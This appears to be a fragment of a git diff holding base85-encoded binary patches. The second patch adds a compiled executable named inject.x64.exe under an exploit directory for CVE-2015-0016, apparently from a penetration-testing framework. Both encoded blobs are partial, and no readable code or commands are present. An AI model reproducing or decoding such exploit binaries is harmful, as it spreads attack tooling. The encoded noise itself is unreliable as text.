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 TzM}tcz|wCCu$>GF^Pvp@6YZTD literal 0 HcmV?d00001 diff --git a/external/source/exploits/cve-2015-0016/bin/inject.x64.exe b/external/source/exploits/cve-2015-0016/bin/inject.x64.exe new file mode 100755 index 0000000000000000000000000000000000000000..2ad745e035f50e4bbb7125622f5b9a4721dcf2fe GIT binary patch literal 75264 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 